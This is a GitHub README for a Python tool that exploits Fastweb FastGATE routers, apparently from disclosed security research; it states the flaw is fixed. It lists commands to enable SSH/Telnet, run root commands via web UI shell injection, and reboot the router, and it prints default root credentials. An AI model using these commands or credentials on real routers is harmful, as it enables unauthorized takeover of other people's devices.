Skip to content

depau/fastgate-python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

FastGATE Python tool

See wiki for more info: https://github.com/Nimayer/fastgate-toolkit/wiki

Note

The vulnerability exploited by this program has been fixed. While we've found many more vulnerabilities and exploited them, we will NOT release the exploits until they're fixed.

Python tools for Fastweb FastGATE exploits.

Usage: fastgate [OPTIONS] COMMAND [ARGS]...

Options:
  -h, --host TEXT     IP address or hostname
  -p, --port INTEGER  HTTP port
  --help              Show this message and exit.

Commands:
  check_login  Check web UI authentication.
  get_root     Attempt to enable access to SSH/Telnet.
  reboot       Reboot router.
  shell        Run command on router with shell injection...

Installation

pip install https://github.com/Depau/fastgate-python/archive/master.zip

Usage

Enable SSH and Telnet from local network:

fastgate get_root

You can then SSH to the router. Log in as lanadmin, lanpasswd.

In the router's custom shell, run the sh hidden command and log in as lanadmin, lanpasswd or FASTGate, Testplant123 to get a root shell.

Reboot router

fastgate reboot

Run command as root on router (uses web UI shell injection, no output)

fastgate shell (command)
# i.e.
fastgate shell /usr/sbin/rc_task firewall restart
fastgate shell /usr/sbin/rc_task sshd restart

Check web UI login

fastgate check_login --u username -p password

or simply

fastgate check_login

(you will be prompted for login info)

Credits

About

Python tools for Fastweb FastGATE exploits

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages